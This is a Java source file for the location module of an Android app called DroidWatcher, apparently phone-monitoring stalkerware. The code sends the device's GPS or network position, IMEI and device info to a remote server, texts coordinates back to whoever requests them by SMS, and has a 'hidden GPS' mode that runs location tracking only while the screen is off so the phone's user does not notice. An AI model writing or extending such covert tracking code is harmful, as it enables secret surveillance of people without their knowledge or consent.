package com.droidwatcher.modules.location;
import java.lang.ref.WeakReference;
import java.util.ArrayList;
import java.util.Date;
import org.acra.ACRA;
import com.droidwatcher.Debug;
import com.droidwatcher.ServerMessanger;
import com.droidwatcher.SettingsManager;
import com.droidwatcher.SmsNotification;
import com.droidwatcher.lib.GPS;
import com.droidwatcher.lib.MessageType;
import com.droidwatcher.modules.DeviceInfoModule;
import com.droidwatcher.receivers.ScreenStateReceiver;
import com.droidwatcher.services.AppService;
import com.droidwatcher.variables.ServerMessage;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
import android.location.Location;
import android.location.LocationManager;
import android.os.Handler;
import android.os.Message;
import android.preference.PreferenceManager;
import android.support.v4.content.LocalBroadcastManager;
import android.util.Base64;
public class LocationModule implements OnSharedPreferenceChangeListener {
private Context mContext;
private SettingsManager mSettings;
private LocationManager mLocationManager;
private BroadcastReceiver mScreenStateReceiver;
private ArrayList<SingleLocationListener> mSingleListeners;
private ScheduledLocationListener mScheduledListener;
protected boolean mIsGpsHidden;
private static MyHandler sHandler;
public static final int REQUEST_SINGLE_LOCATION = 1;
public static final int REQUEST_SINGLE_LOCATION_SMS = 4;
public static final int REQUEST_SINGLE_LOCATION_ONLINE = 2;
public static final int REQUEST_SCHEDULED_LOCATION = 3;
private ILocationResultListener mBaseResultListener = new ILocationResultListener() {
@Override
public void onLocationResult(Location location) {
if (AppService.sThreadManager != null && location != null) {
GPS gps = new GPS(location);
AppService.sThreadManager.onGPSChange(gps);
}
}
@Override
public void onNoResult() {}
@Override
public void onGsmLocationResult(GPS gps) {
if (AppService.sThreadManager != null && gps != null) {
AppService.sThreadManager.onGPSChange(gps);
}
}
};
private ILocationResultListener mOnlineResultListener = new ILocationResultListener() {
@Override
public void onNoResult() {
ServerMessage msg = new ServerMessage(MessageType.ONLINE_POSITION, mSettings.imei(), mSettings.login());
msg.addParam("error", "no location");
new ServerMessanger(mContext, msg).start();
}
@Override
public void onLocationResult(Location location) {
ServerMessage msg = new ServerMessage(MessageType.ONLINE_POSITION, mSettings.imei(), mSettings.login());
msg.addParam("position", new GPS(location).getJSONObject());
msg.addParam("info", DeviceInfoModule.getDeviceInfo(mContext));
new ServerMessanger(mContext, msg).start();
}
@Override
public void onGsmLocationResult(GPS gps) {
ServerMessage msg = new ServerMessage(MessageType.ONLINE_POSITION, mSettings.imei(), mSettings.login());
msg.addParam("position", gps.getJSONObject());
msg.addParam("info", DeviceInfoModule.getDeviceInfo(mContext));
new ServerMessanger(mContext, msg).start();
}
};
public LocationModule(Context context){
mContext = context;
mSettings = new SettingsManager(context);
mSingleListeners = new ArrayList<SingleLocationListener>();
mIsGpsHidden = mSettings.isGpsHidden();
mScreenStateReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
int state = intent.getIntExtra(ScreenStateReceiver.SCREEN_STATE_EXTRA, ScreenStateReceiver.SCREEN_STATE_UNKNOWN);
switch (state) {
case ScreenStateReceiver.SCREEN_STATE_OFF:
startGpsListeners();
break;
case ScreenStateReceiver.SCREEN_STATE_ON:
if (mIsGpsHidden) {
stopGpsListeners();
}
break;
default:
break;
}
}
};
sHandler = new MyHandler(this);
PreferenceManager.getDefaultSharedPreferences(context).registerOnSharedPreferenceChangeListener(this);
}
public static final long LOCATION_TIMEOUT = 15 * 60 * 1000;
public static Location getLocation(Context context){
try {
LocationManager locationManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
long time = new Date().getTime() - LOCATION_TIMEOUT;
Location location = null;
if (locationManager == null) {
return null;
}
location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
if (location != null && location.getTime() >= time) {
return location;
}
location = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
if (location != null && location.getTime() >= time) {
return location;
}
} catch (Exception e) {
Debug.exception(e);
}
return null;
}
protected Context getContext(){
return mContext;
}
protected synchronized LocationManager getLocationManager() {
try {
if (mLocationManager == null) {
mLocationManager = (LocationManager) mContext.getSystemService(Context.LOCATION_SERVICE);
}
return mLocationManager;
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
return null;
}
protected synchronized SettingsManager getSettingsManager() {
return mSettings;
}
@Override
public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
if (key.equals("USE_GPS")){
if (mSettings.isGpsTrackingEnabled()){
stopScheduledLocationUpdates();
startScheduledLocationUpdates();
}
else{
stopScheduledLocationUpdates();
}
return;
}
if (key.equals("GPS_TIMER") || key.equals("GPS_ONLY_NEW")){
stopScheduledLocationUpdates();
if (mSettings.isGpsTrackingEnabled()) {
startScheduledLocationUpdates();
}
return;
}
if (key.equals("GPS_HIDDEN")) {
mIsGpsHidden = mSettings.isGpsHidden();
if (mIsGpsHidden) {
if (ScreenStateReceiver.getScreenState() != ScreenStateReceiver.SCREEN_STATE_OFF) {
stopGpsListeners();
}
}
else{
startGpsListeners();
}
return;
}
}
public synchronized void start(){
LocalBroadcastManager.getInstance(mContext).registerReceiver(mScreenStateReceiver, new IntentFilter(ScreenStateReceiver.SCREEN_EVENT));
if (mSettings.isGpsTrackingEnabled()) {
startScheduledLocationUpdates();
}
}
public synchronized void dispose(){
try {
try {
if (getLocationManager() != null && mSingleListeners != null) {
for (SingleLocationListener listener : mSingleListeners) {
listener.dispose();
}
}
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
stopScheduledLocationUpdates();
try {
PreferenceManager.getDefaultSharedPreferences(mContext).unregisterOnSharedPreferenceChangeListener(this);
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
try {
if (mScreenStateReceiver != null) {
LocalBroadcastManager.getInstance(mContext).unregisterReceiver(mScreenStateReceiver);
}
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
} finally {
mScreenStateReceiver = null;
mSingleListeners = null;
sHandler = null;
mLocationManager = null;
}
}
private void startScheduledLocationUpdates(){
if (mScheduledListener != null) {
stopScheduledLocationUpdates();
}
mScheduledListener = new ScheduledLocationListener(this, mContext);
mScheduledListener.getLocation(mBaseResultListener);
}
private void stopScheduledLocationUpdates(){
if (mScheduledListener != null) {
mScheduledListener.dispose();
mScheduledListener = null;
}
}
private void scheduledAlarm(){
if (mScheduledListener == null) {
startScheduledLocationUpdates();
}
mScheduledListener.enableByAlarm();
}
private synchronized void startGpsListeners(){
try {
for (SingleLocationListener listener : mSingleListeners) {
listener.startListner();
}
if (mScheduledListener != null) {
mScheduledListener.startListner();
}
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
private synchronized void stopGpsListeners(){
try {
for (SingleLocationListener listener : mSingleListeners) {
listener.stopListner();
}
if (mScheduledListener != null) {
mScheduledListener.stopListner();
}
} catch (Exception e) {
ACRA.getErrorReporter().handleSilentException(e);
}
}
private synchronized void addSingleListner(){
try {
SingleLocationListener listener = new SingleLocationListener(this);
mSingleListeners.add(listener);
listener.getLocation(mBaseResultListener);
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
private synchronized void addSingleListner(String smsResponseNumber){
try {
SingleLocationListener listener = new SingleLocationListener(this);
mSingleListeners.add(listener);
listener.getLocation(new SmsLocationResultListener(smsResponseNumber));
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
private synchronized void addSingleOnlineListner(){
try {
SingleLocationListener listener = new SingleLocationListener(this);
mSingleListeners.add(listener);
listener.getLocation(mOnlineResultListener);
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
protected synchronized void removeListner(SingleLocationListener listener){
try {
mSingleListeners.remove(listener);
listener.dispose();
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
public static void message(int what){
if (sHandler != null) {
sHandler.sendEmptyMessage(what);
}
}
public static void message(Message msg){
if (sHandler != null) {
sHandler.sendMessage(msg);
}
}
private static class MyHandler extends Handler{
private final WeakReference<LocationModule> mModule;
private MyHandler(LocationModule module) {
mModule = new WeakReference<LocationModule>(module);
}
@Override
public void handleMessage(Message msg) {
LocationModule module = mModule.get();
if (module != null) {
switch (msg.what) {
case REQUEST_SCHEDULED_LOCATION:
module.scheduledAlarm();
break;
case REQUEST_SINGLE_LOCATION:
module.addSingleListner();
break;
case REQUEST_SINGLE_LOCATION_ONLINE:
module.addSingleOnlineListner();
break;
case REQUEST_SINGLE_LOCATION_SMS:
module.addSingleListner((String) msg.obj);
break;
default:
return;
}
}
}
}
private class SmsLocationResultListener implements ILocationResultListener{
private String mNumber;
public SmsLocationResultListener(String number){
mNumber = number;
}
private double round(double value) throws Exception {
java.math.BigDecimal bd = new java.math.BigDecimal(value);
bd = bd.setScale(3, java.math.BigDecimal.ROUND_HALF_UP);
return bd.doubleValue();
}
private void sendSms(double lat, double lon, double acc){
try {
String code = lat + ";" + lon;
String msg = "Lat: " + lat
+ "; Lon: " + lon
+ "; Acc: " + acc
+ "; Code: " + Base64.encodeToString(code.getBytes(), Base64.DEFAULT);
SmsNotification.sendSms(mContext, msg, mNumber);
} catch (Exception e) {
ACRA.getErrorReporter().handleSilentException(e);
}
}
@Override
public void onLocationResult(Location location) {
try {
if (location == null) {
SmsNotification.sendSms(mContext, "No data available", mNumber);
return;
}
double lat = round(location.getLatitude());
double lon = round(location.getLongitude());
double acc = round(location.getAccuracy());
sendSms(lat, lon, acc);
} catch (Exception e) {
ACRA.getErrorReporter().handleSilentException(e);
}
}
@Override
public void onNoResult() {
SmsNotification.sendSms(mContext, "No data available", mNumber);
}
@Override
public void onGsmLocationResult(GPS gps) {
try {
if (gps == null) {
SmsNotification.sendSms(mContext, "No data available", mNumber);
return;
}
sendSms(round(gps.lat), round(gps.lon), round(gps.acc));
} catch (Exception e) {
ACRA.getErrorReporter().handleSilentException(e);
}
}
}
}